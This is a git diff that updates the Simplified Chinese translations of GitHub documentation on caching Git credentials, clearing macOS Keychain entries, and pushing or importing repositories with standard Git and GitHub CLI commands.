unless you change your credentials. +验证成功后,您的凭据存储在 macOS 密钥链中,每次克隆 HTTPS URL 时都会使用。 Git 不会要求您在命令行中再次键入凭据,除非您更改凭据。 {% endmac %} {% windows %} -1. Install Git for Windows, which includes GCM. For more information, see "[Git for Windows releases](https://github.com/git-for-windows/git/releases/latest)" from its [releases page](https://github.com/git-for-windows/git/releases/latest). +1. 安装 Windows 版 Git,其中包括 GCM。 有关详细信息,请参阅[版本页面](https://github.com/git-for-windows/git/releases/latest)中的 [Git for Windows 版本](https://github.com/git-for-windows/git/releases/latest)。 -We recommend always installing the latest version. At a minimum, install version 2.29 or higher, which is the first version offering OAuth support for GitHub. +我们建议始终安装最新版本。 至少安装版本 2.29 或更高版本,这是第一个为 GitHub 提供 OAuth 支持的版本。 {% data reusables.gcm-core.next-time-you-clone %} -Once you've authenticated successfully, your credentials are stored in the Windows credential manager and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials. +成功通过身份验证后,您的凭据将存储在 Windows 凭据管理器中,并且每次克隆 HTTPS URL 时都将使用。 Git 不会要求您在命令行中再次键入凭据,除非您更改凭据。
{% warning %} -**Warning:** Older versions of Git for Windows came with Git Credential Manager for Windows. This older product is no longer supported and cannot connect to GitHub via OAuth. We recommend you upgrade to [the latest version of Git for Windows](https://github.com/git-for-windows/git/releases/latest). +**警告:** 旧版本的 Git for Windows 附有 Windows 版 Git 凭据管理器。 此旧产品不再受支持,并且无法通过 OAuth 连接到 GitHub。 建议升级到[最新版本的 Git for Windows](https://github.com/git-for-windows/git/releases/latest)。 {% endwarning %} {% warning %} -**Warning:** If you cached incorrect or outdated credentials in Credential Manager for Windows, Git will fail to access {% data variables.product.product_name %}. To reset your cached credentials so that Git prompts you to enter your credentials, access the Credential Manager in the Windows Control Panel under User Accounts > Credential Manager. Look for the {% data variables.product.product_name %} entry and delete it. +**警告:** 如果在 Windows 版凭据管理器中缓存了不正确或过期的凭据,Git 将无法访问 {% data variables.product.product_name %}。 若要重置缓存的凭据,以便 Git 提示输入凭据,请在 Windows 控制面板中的“用户帐户”>“凭据管理器”下访问凭据管理器。 找到 {% data variables.product.product_name %} 条目并将其删除。 {% endwarning %} @@ -85,22 +90,22 @@ Once you've authenticated successfully, your credentials are stored in the Windo {% linux %} -For Linux, install Git and GCM, then configure Git to use GCM. +对于 Linux,安装 Git 和 GCM,然后配置 Git 使用 GCM。 -1. Install Git from your distro's packaging system. Instructions will vary depending on the flavor of Linux you run. +1. 从发行版的打包系统安装 Git。 说明将根据您运行的 Linux 的风格而有所不同。 -2. Install GCM. See the [instructions in the GCM repo](https://github.com/GitCredentialManager/git-credential-manager#linux-install-instructions), as they'll vary depending on the flavor of Linux you run. +2. 安装 GCM。 查看 [GCM 存储库中的说明](https://github.com/GitCredentialManager/git-credential-manager#linux-install-instructions),说明将根据运行的 Linux 的风格而有所不同。 -3. Configure Git to use GCM. There are several backing stores that you may choose from, so see the GCM docs to complete your setup. For more information, see "[GCM Linux](https://aka.ms/gcmcore-linuxcredstores)." +3. 配置 Git 使用 GCM 有几个支持商店,您可以从中选择,因此请参阅 GCM 文档来完成设置。 有关详细信息,请参阅“[GCM Linux](https://aka.ms/gcmcore-linuxcredstores)”。 {% data reusables.gcm-core.next-time-you-clone %} -Once you've authenticated successfully, your credentials are stored on your system and will be used every time you clone an HTTPS URL. Git will not require you to type your credentials in the command line again unless you change your credentials. +验证成功后,您的凭据存储在系统中,每次克隆 HTTPS URL 时都会使用。 Git 不会要求您在命令行中再次键入凭据,除非您更改凭据。 -For more options for storing your credentials on Linux, see [Credential Storage](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage) in Pro Git. +有关在 Linux 上存储凭据的更多选项,请参阅 Pro Git 中的[凭据存储](https://git-scm.com/book/en/v2/Git-Tools-Credential-Storage)。 {% endlinux %}
-For more information or to report issues with GCM, see the official GCM docs at "[Git Credential Manager](https://github.com/GitCredentialManager/git-credential-manager)." +如需详细信息或报告 GCM 问题,请参阅官方 GCM 文档的“[Git 凭据管理器](https://github.com/GitCredentialManager/git-credential-manager)”部分。 diff --git a/translations/zh-CN/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md b/translations/zh-CN/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md index 507b7c8f52..12a0be1a16 100644 --- a/translations/zh-CN/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md +++ b/translations/zh-CN/content/get-started/getting-started-with-git/updating-credentials-from-the-macos-keychain.md @@ -1,6 +1,6 @@ --- -title: Updating credentials from the macOS Keychain -intro: 'You''ll need to update your saved credentials in the `git-credential-osxkeychain` helper if you change your{% ifversion not ghae %} username, password, or{% endif %} {% data variables.product.pat_generic %} on {% data variables.product.product_name %}.' +title: 更新 OSX 密钥链中的凭据 +intro: '如果在 {% data variables.product.product_name %} 上更改你的{% ifversion not ghae %}用户名、密码或{% endif %} 个人访问令牌,你需要在 `git-credential-osxkeychain` 帮助程序中更新保存的凭据。' redirect_from: - /articles/updating-credentials-from-the-osx-keychain - /github/using-git/updating-credentials-from-the-osx-keychain @@ -13,38 +13,44 @@ versions: ghae: '*' ghec: '*' shortTitle: macOS Keychain credentials +ms.openlocfilehash: ce2e225bcff1aca0c034e564fe3233e5f9cb68d2 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145128979' --- {% tip %} -**Note:** Updating credentials from the macOS Keychain only applies to users who manually configured a {% data variables.product.pat_generic %} using the `osxkeychain` helper that is built-in to macOS. +**注意:** 从 macOS 密钥链更新凭据仅适用于使用内置到 macOS 的 `osxkeychain` 帮助程序手动配置 PAT 的用户。 -We recommend you either [configure SSH](/articles/generating-an-ssh-key) or upgrade to the [Git Credential Manager](/get-started/getting-started-with-git/caching-your-github-credentials-in-git) (GCM) instead. GCM can manage authentication on your behalf (no more manual {% data variables.product.pat_generic %}s) including 2FA (two-factor auth). +建议改为[配置 SSH](/articles/generating-an-ssh-key) 或升级到 [Git 凭据管理器](/get-started/getting-started-with-git/caching-your-github-credentials-in-git) (GCM)。 GCM 可以代表您管理身份验证(不再需要手动 PAT),包括 2FA(双重身份验证)。 {% endtip %} {% data reusables.user-settings.password-authentication-deprecation %} -## Updating your credentials via Keychain Access +## 通过 Keychain Access 更新凭据 -1. Click on the Spotlight icon (magnifying glass) on the right side of the menu bar. Type `Keychain access` then press the Enter key to launch the app. - ![Spotlight Search bar](/assets/images/help/setup/keychain-access.png) -2. In Keychain Access, search for **{% data variables.command_line.backticks %}**. -3. Find the "internet password" entry for `{% data variables.command_line.backticks %}`. -4. Edit or delete the entry accordingly. +1. 单击菜单栏右侧的 Spotlight 图标(放大镜)。 键入 `Keychain access`,然后按 Enter 键启动应用。 + ![Spotlight 搜索栏](/assets/images/help/setup/keychain-access.png) +2. 在密钥链访问中,搜索 {% data variables.command_line.backticks %}。 +3. 查找 `{% data variables.command_line.backticks %}` 的“Internet 密码”条目。 +4. 相应地编辑或删除该条目。 -## Deleting your credentials via the command line +## 通过命令行删除凭据 -Through the command line, you can use the credential helper directly to erase the keychain entry. +通过命令行,您可以使用凭据小助手直接擦除密钥链条目。 ```shell $ git credential-osxkeychain erase host={% data variables.command_line.codeblock %} protocol=https -> [Press Return] +> [Press Return] ``` -If it's successful, nothing will print out. To test that it works, try and clone a private repository from {% data variables.location.product_location %}. If you are prompted for a password, the keychain entry was deleted. +如果成功,则不会打印出任何内容。若要测试它是否正常工作,请尝试从 {% data variables.product.product_location %} 克隆专用存储库。 如果提示您输入密码,则该密钥链条目已删除。 -## Further reading +## 延伸阅读 -- "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git/)" +- [在 Git 中缓存 {% data variables.product.prodname_dotcom %} 凭据](/github/getting-started-with-github/caching-your-github-credentials-in-git/) diff --git a/translations/zh-CN/content/get-started/getting-started-with-git/why-is-git-always-asking-for-my-password.md b/translations/zh-CN/content/get-started/getting-started-with-git/why-is-git-always-asking-for-my-password.md index 284df7ffb1..38fbc3473f 100644 --- a/translations/zh-CN/content/get-started/getting-started-with-git/why-is-git-always-asking-for-my-password.md +++ b/translations/zh-CN/content/get-started/getting-started-with-git/why-is-git-always-asking-for-my-password.md @@ -1,6 +1,6 @@ --- -title: Why is Git always asking for my password? -intro: 'If Git prompts you for a username and password every time you try to interact with GitHub, you''re probably using the HTTPS clone URL for your repository.' +title: 为什么 Git 总是询问我的密码? +intro: 如果 Git 在您每次尝试与 GitHub 交互时均提示输入用户名和密码,则您可能为仓库使用的是 HTTPS 克隆 URL。 redirect_from: - /articles/why-is-git-always-asking-for-my-password - /github/using-git/why-is-git-always-asking-for-my-password @@ -12,15 +12,21 @@ versions: ghae: '*' ghec: '*' shortTitle: Git passwords +ms.openlocfilehash: 06a8cf617072075f39a880ec58173e7cfbc5bc8a +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145128975' --- -Using an HTTPS remote URL has some advantages compared with using SSH. It's easier to set up than SSH, and usually works through strict firewalls and proxies. However, it also prompts you to enter your {% data variables.product.product_name %} credentials every time you pull or push a repository. +与使用 SSH 相比,使用 HTTPS 远程 URL 具有一些优势。 它比 SSH 更容易设置,通常通过严格的防火墙和代理进行工作。 但是,每次拉取或推送仓库时,它也会提示您输入 {% data variables.product.product_name %} 凭据。 {% data reusables.user-settings.password-authentication-deprecation %} -You can avoid being prompted for your password by configuring Git to [cache your credentials](/github/getting-started-with-github/caching-your-github-credentials-in-git) for you. Once you've configured credential caching, Git automatically uses your cached {% data variables.product.pat_generic %} when you pull or push a repository using HTTPS. +可以通过将 Git 配置为用于[缓存凭据](/github/getting-started-with-github/caching-your-github-credentials-in-git)来避免系统提示输入密码。 在配置凭据缓存后,当您使用 HTTPS 拉取或推送仓库时,Git 会自动使用缓存的个人访问令牌。 -## Further reading +## 延伸阅读 -- "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." -- "[About authentication to {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/about-authentication-to-github)" -- "[Adding your SSH key to the ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)" +- “[关于远程存储库](/github/getting-started-with-github/about-remote-repositories)”。 +- “[关于向 {% data variables.product.prodname_dotcom %} 进行身份验证](/github/authenticating-to-github/about-authentication-to-github)” +- “[将 SSH 密钥添加到 ssh-agent](/github/authenticating-to-github/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent#adding-your-ssh-key-to-the-ssh-agent)” diff --git a/translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github.md b/translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github.md index d42181b790..3591b8af04 100644 --- a/translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github.md +++ b/translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/adding-locally-hosted-code-to-github.md @@ -1,6 +1,6 @@ --- -title: Adding locally hosted code to GitHub -intro: 'Learn how to add existing source code or repositories to {% data variables.product.product_name %} from the command line using {% data variables.product.prodname_cli %} or Git Commands. Then, share your code and invite others to work with you.' +title: 将本地托管代码添加到 GitHub +intro: '了解如何使用 {% data variables.product.prodname_cli %} 或 Git 命令从命令行将现有源代码或存储库添加到 {% data variables.product.product_name %}。 然后,共享代码并邀请其他人与你一起工作。' redirect_from: - /articles/add-an-existing-project-to-github - /articles/adding-an-existing-project-to-github-using-the-command-line @@ -13,85 +13,79 @@ versions: ghae: '*' ghec: '*' shortTitle: Add locally hosted code +ms.openlocfilehash: 5dc22ef9d8b5f11618bc90414c9d94fcdfe50462 +ms.sourcegitcommit: 22d665055b1bee7a5df630385e734e3a149fc720 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 07/13/2022 +ms.locfileid: '145128968' --- +## 关于将现有源代码添加到 {% data variables.product.product_name %} -## About adding existing source code to {% data variables.product.product_name %} +如果计算机或专用网络上已有本地存储的源代码或存储库,可以通过在终端中键入命令来将其添加到 {% data variables.product.product_name %} 中。 也可以通过直接键入 Git 命令或使用 {% data variables.product.prodname_cli %} 来执行此操作。 -If you have existing source code or repositories stored locally on your computer or private network you can add them to {% data variables.product.product_name %} by typing commands in a terminal. You can do this by typing Git commands directly, or by using {% data variables.product.prodname_cli %}. - -{% data variables.product.prodname_cli %} is an open source tool for using {% data variables.product.prodname_dotcom %} from your computer's command line. {% data variables.product.prodname_cli %} can simplify the process of adding an existing project to {% data variables.product.product_name %} using the command line. To learn more about {% data variables.product.prodname_cli %}, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)." +{% data variables.product.prodname_cli %} 是用于从计算机的命令行使用 {% data variables.product.prodname_dotcom %} 的开源工具。 {% data variables.product.prodname_cli %} 可以简化使用命令行将现有项目添加到 {% data variables.product.product_name %} 的过程。 要详细了解 {% data variables.product.prodname_cli %},请参阅“[关于 {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)”。 {% tip %} -**Tip:** If you're most comfortable with a point-and-click user interface, try adding your project with {% data variables.product.prodname_desktop %}. For more information, see "[Adding a repository from your local computer to GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)" in the *{% data variables.product.prodname_desktop %} Help*. +提示:如果你最喜欢点按式用户界面,请尝试使用 {% data variables.product.prodname_desktop %} 添加项目。 有关详细信息,请参阅“{% data variables.product.prodname_desktop %} 帮助”中的[将存储从本地计算机添加到 GitHub 桌面](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)。 {% endtip %} {% data reusables.repositories.sensitive-info-warning %} -## Adding a local repository to {% data variables.product.product_name %} with {% data variables.product.prodname_cli %} +## 使用 {% data variables.product.prodname_cli %} 将本地存储库添加到 {% data variables.product.product_name %} -1. In the command line, navigate to the root directory of your project. -1. Initialize the local directory as a Git repository. +1. 在命令行中,导航到项目的根目录。 +1. 将本地目录初始化为 Git 仓库。 ```shell git init -b main ``` -1. Stage and commit all the files in your project. +1. 暂存并提交项目中的所有文件 ```shell git add . && git commit -m "initial commit" ``` -1. To create a repository for your project on GitHub, use the `gh repo create` subcommand. When prompted, select **Push an existing local repository to GitHub** and enter the desired name for your repository. If you want your project to belong to an organization instead of your user account, specify the organization name and project name with `organization-name/project-name`. +1. 要为 GitHub 上的项目创建存储库,请使用 `gh repo create` 子命令。 出现提示时,选择“将现有本地存储库推送到 GitHub”,并输入存储库所需的名称。 如果希望项目属于某个组织而不是你的用户帐户,请使用 `organization-name/project-name` 指定组织名称和项目名称。 -1. Follow the interactive prompts. To add the remote and push the repository, confirm yes when asked to add the remote and push the commits to the current branch. +1. 按照交互式提示进行操作。 要添加远程并推送存储库,请在被要求添加远程并将提交推送到当前分支时确认“是”。 -1. Alternatively, to skip all the prompts, supply the path to the repository with the `--source` flag and pass a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create --source=. --public`. Specify a remote with the `--remote` flag. To push your commits, pass the `--push` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create). +1. 或者,若要跳过提示,请使用 `--source` 标志提供存储库的路径,并传递可见性标志(`--public`、`--private` 或 `--internal`)。 例如 `gh repo create --source=. --public`。 使用 `--remote` 标志指定远程。 要推送提交,请传递 `--push` 标志。 有关可能的参数的详细信息,请参阅 [GitHub CLI 手册](https://cli.github.com/manual/gh_repo_create)。 -## Adding a local repository to {% data variables.product.product_name %} using Git +## 将本地存储库添加到 {% data variables.product.product_name %} using Git {% mac %} -1. [Create a new repository](/repositories/creating-and-managing-repositories/creating-a-new-repository) on {% data variables.location.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. - ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) -{% data reusables.command_line.open_the_multi_os_terminal %} -3. Change the current working directory to your local project. -4. Use the `init` command to initialize the local directory as a Git repository. By default, the initial branch is called `master`. - - If you’re using Git 2.28.0 or a later version, you can set the name of the default branch using `-b`. - - ``` shell - $ git init -b main - ``` - - If you’re using Git 2.27.1 or an earlier version, you can set the name of the default branch using `&& git symbolic-ref HEAD refs/heads/main`. - - ``` shell - $ git init && git symbolic-ref HEAD refs/heads/main - ``` -5. Add the files in your new local repository. This stages them for the first commit. - +1. 在 {% data variables.product.product_location %} 上[新建存储库](/repositories/creating-and-managing-repositories/creating-a-new-repository)。 为避免错误,请勿使用 README、许可或 `gitignore` 文件初始化新存储库。 您可以在项目推送到 {% data variables.product.product_name %} 之后添加这些文件。 + ![新建存储库下拉菜单](/assets/images/help/repository/repo-create.png) {% data reusables.command_line.open_the_multi_os_terminal %} +3. 将当前工作目录更改为您的本地仓库。 +4. 将本地目录初始化为 Git 仓库。 + ```shell + $ git init -b main + ``` +5. 在新的本地仓库中添加文件。 这会暂存它们用于第一次提交。 ```shell $ git add . # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} ``` -6. Commit the files that you've staged in your local repository. +6. 提交暂存在本地仓库中的文件。 ```shell $ git commit -m "First commit" # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} ``` -7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. - ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) -8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. +7. 在仓库顶部 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 的快速设置页面,点击 {% octicon "clippy" aria-label="The copy to clipboard icon" %} 以复制远程仓库 URL。 + ![创建远程存储库 URL 字段](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. 在终端中,[添加远程存储库的 URL](/github/getting-started-with-github/managing-remote-repositories)(将在其中推送本地存储库)。 ```shell - $ git remote add origin <REMOTE_URL> + $ git remote add origin <REMOTE_URL> # Sets the new remote $ git remote -v # Verifies the new remote URL ``` -9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.location.product_location %}. +9. [将本地存储库中的更改推送](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)到 {% data variables.product.product_location %}。 ```shell $ git push -u origin main # Pushes the changes in your local repository up to the remote repository you specified as the origin @@ -101,43 +95,33 @@ If you have existing source code or repositories stored locally on your computer {% windows %} -1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.location.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. - ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) -{% data reusables.command_line.open_the_multi_os_terminal %} -3. Change the current working directory to your local project. -4. Use the `init` command to initialize the local directory as a Git repository. By default, the initial branch is called `master`. - - If you’re using Git 2.28.0 or a later version, you can set the name of the default branch using `-b`. - - ``` shell - $ git init -b main - ``` - - If you’re using Git 2.27.1 or an earlier version, you can set the name of the default branch using `&& git symbolic-ref HEAD refs/heads/main`. - - ``` shell - $ git init && git symbolic-ref HEAD refs/heads/main - ``` -5. Add the files in your new local repository. This stages them for the first commit. +1. 在 {% data variables.product.product_location %} 上[新建存储库](/articles/creating-a-new-repository)。 为避免错误,请勿使用 README、许可或 `gitignore` 文件初始化新存储库。 您可以在项目推送到 {% data variables.product.product_name %} 之后添加这些文件。 + ![新建存储库下拉菜单](/assets/images/help/repository/repo-create.png) {% data reusables.command_line.open_the_multi_os_terminal %} +3. 将当前工作目录更改为您的本地仓库。 +4. 将本地目录初始化为 Git 仓库。 + ```shell + $ git init -b main + ``` +5. 在新的本地仓库中添加文件。 这会暂存它们用于第一次提交。 ```shell $ git add . # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} ``` -6. Commit the files that you've staged in your local repository. +6. 提交暂存在本地仓库中的文件。 ```shell $ git commit -m "First commit" # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} ``` -7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. - ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) -8. In the Command prompt, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. +7. 在仓库顶部 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 的快速设置页面,点击 {% octicon "clippy" aria-label="The copy to clipboard icon" %} 以复制远程仓库 URL。 + ![创建远程存储库 URL 字段](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. 在命令提示中,[添加远程存储库的 URL](/github/getting-started-with-github/managing-remote-repositories)(将在其中推送本地存储库)。 ```shell - $ git remote add origin <REMOTE_URL> + $ git remote add origin <REMOTE_URL> # Sets the new remote $ git remote -v # Verifies the new remote URL ``` -9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.location.product_location %}. +9. [将本地存储库中的更改推送](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)到 {% data variables.product.product_location %}。 ```shell $ git push origin main # Pushes the changes in your local repository up to the remote repository you specified as the origin @@ -147,43 +131,33 @@ If you have existing source code or repositories stored locally on your computer {% linux %} -1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.location.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}. - ![Create New Repository drop-down](/assets/images/help/repository/repo-create.png) -{% data reusables.command_line.open_the_multi_os_terminal %} -3. Change the current working directory to your local project. -4. Use the `init` command to initialize the local directory as a Git repository. By default, the initial branch is called `master`. - - If you’re using Git 2.28.0 or a later version, you can set the name of the default branch using `-b`. - - ``` shell - $ git init -b main - ``` - - If you’re using Git 2.27.1 or an earlier version, you can set the name of the default branch using `&& git symbolic-ref HEAD refs/heads/main`. - - ``` shell - $ git init && git symbolic-ref HEAD refs/heads/main - ``` -5. Add the files in your new local repository. This stages them for the first commit. +1. 在 {% data variables.product.product_location %} 上[新建存储库](/articles/creating-a-new-repository)。 为避免错误,请勿使用 README、许可或 `gitignore` 文件初始化新存储库。 您可以在项目推送到 {% data variables.product.product_name %} 之后添加这些文件。 + ![新建存储库下拉菜单](/assets/images/help/repository/repo-create.png) {% data reusables.command_line.open_the_multi_os_terminal %} +3. 将当前工作目录更改为您的本地仓库。 +4. 将本地目录初始化为 Git 仓库。 + ```shell + $ git init -b main + ``` +5. 在新的本地仓库中添加文件。 这会暂存它们用于第一次提交。 ```shell $ git add . # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %} ``` -6. Commit the files that you've staged in your local repository. +6. 提交暂存在本地仓库中的文件。 ```shell $ git commit -m "First commit" # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %} ``` -7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL. - ![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) -8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed. +7. 在仓库顶部 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 的快速设置页面,点击 {% octicon "clippy" aria-label="The copy to clipboard icon" %} 以复制远程仓库 URL。 + ![创建远程存储库 URL 字段](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png) +8. 在终端中,[添加远程存储库的 URL](/github/getting-started-with-github/managing-remote-repositories)(将在其中推送本地存储库)。 ```shell - $ git remote add origin <REMOTE_URL> + $ git remote add origin <REMOTE_URL> # Sets the new remote $ git remote -v # Verifies the new remote URL ``` -9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.location.product_location %}. +9. [将本地存储库中的更改推送](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/)到 {% data variables.product.product_location %}。 ```shell $ git push origin main # Pushes the changes in your local repository up to the remote repository you specified as the origin @@ -191,6 +165,6 @@ If you have existing source code or repositories stored locally on your computer {% endlinux %} -## Further reading +## 延伸阅读 -- "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)" +- [添加文件到存储库](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line) diff --git a/translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md b/translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md index c25bdf5f5c..50d764eda1 100644 --- a/translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md +++ b/translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md @@ -1,6 +1,6 @@ --- -title: Importing a Git repository using the command line -intro: '{% ifversion fpt %}If [GitHub Importer](/articles/importing-a-repository-with-github-importer) is not suitable for your purposes, such as if your existing code is hosted on a private network, then we recommend importing using the command line.{% else %}Importing Git projects using the command line is suitable when your existing code is hosted on a private network.{% endif %}' +title: 使用命令行导入 Git 仓库 +intro: '{% ifversion fpt %}如果 [GitHub 导入工具](/articles/importing-a-repository-with-github-importer)不适用于你的目的,例如,如果你现有的代码托管在私有网络上,则建议使用命令行导入。{% else %}当你现有的代码托管在私有网络上时,适合使用命令行导入 Git 项目。{% endif %}' redirect_from: - /articles/importing-a-git-repository-using-the-command-line - /github/importing-your-projects-to-github/importing-a-git-repository-using-the-command-line @@ -11,37 +11,43 @@ versions: ghae: '*' ghec: '*' shortTitle: Import repo locally +ms.openlocfilehash: bd3a5e5ffca38250a74851444f6cac4cbb06eb53 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145128967' --- -Before you start, make sure you know: +在开始之前,请确保您知道: -- Your {% data variables.product.product_name %} username -- The clone URL for the external repository, such as `https://external-host.com/user/repo.git` or `git://external-host.com/user/repo.git` (perhaps with a `user@` in front of the `external-host.com` domain name) +- 您的 {% data variables.product.product_name %} 用户名 +- 外部存储库的克隆 URL,例如 `https://external-host.com/user/repo.git` 或 `git://external-host.com/user/repo.git`(可能 `external-host.com` 域名前面是 `user@`) {% tip %} -For purposes of demonstration, we'll use: +为便于示范,我们将使用: -- An external account named **extuser** -- An external Git host named `https://external-host.com` -- A {% data variables.product.product_name %} personal account named **ghuser** -- A repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} named **repo.git** +- 外部帐户 extuser +- 外部 Git 主机 `https://external-host.com` +- 名为 ghuser 的 {% data variables.product.product_name %} 个人帐户 +- {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的存储库 repo.git {% endtip %} -1. [Create a new repository on {% data variables.product.product_name %}](/articles/creating-a-new-repository). You'll import your external Git repository to this new repository. -2. On the command line, make a "bare" clone of the repository using the external clone URL. This creates a full copy of the data, but without a working directory for editing files, and ensures a clean, fresh export of all the old data. +1. [在 {% data variables.product.product_name %} 上新建存储库](/articles/creating-a-new-repository)。 您将在此新仓库中导入外部 Git 仓库。 +2. 在命令行上,使用外部克隆 URL 创建仓库的“裸”克隆。 这会创建数据的完整副本,但没有编辑文件的工作目录,并确保干净、新鲜地导出所有旧数据。 ```shell - $ git clone --bare https://external-host.com/EXTUSER/REPO.git + $ git clone --bare https://external-host.com/extuser/repo.git # Makes a bare clone of the external repository in a local directory ``` -3. Push the locally cloned repository to {% data variables.product.product_name %} using the "mirror" option, which ensures that all references, such as branches and tags, are copied to the imported repository. +3. 使用“镜像”选项将本地克隆的仓库推送到 {% data variables.product.product_name %},以确保所有引用(如分支和标记)都复制到导入的仓库。 ```shell - $ cd REPO.git - $ git push --mirror https://{% data variables.command_line.codeblock %}/USER/REPO.git - # Pushes the mirror to the new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %} + $ cd repo.git + $ git push --mirror https://{% data variables.command_line.codeblock %}/ghuser/repo.git + # Pushes the mirror to the new repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} ``` -4. Remove the temporary local repository. +4. 删除临时本地仓库。 ```shell $ cd .. - $ rm -rf REPO.git + $ rm -rf repo.git ``` diff --git a/translations/zh-CN/content/get-started/importing-your-projects-to-github/importing-source-code-to-github/importing-a-repository-with-github-importer.md 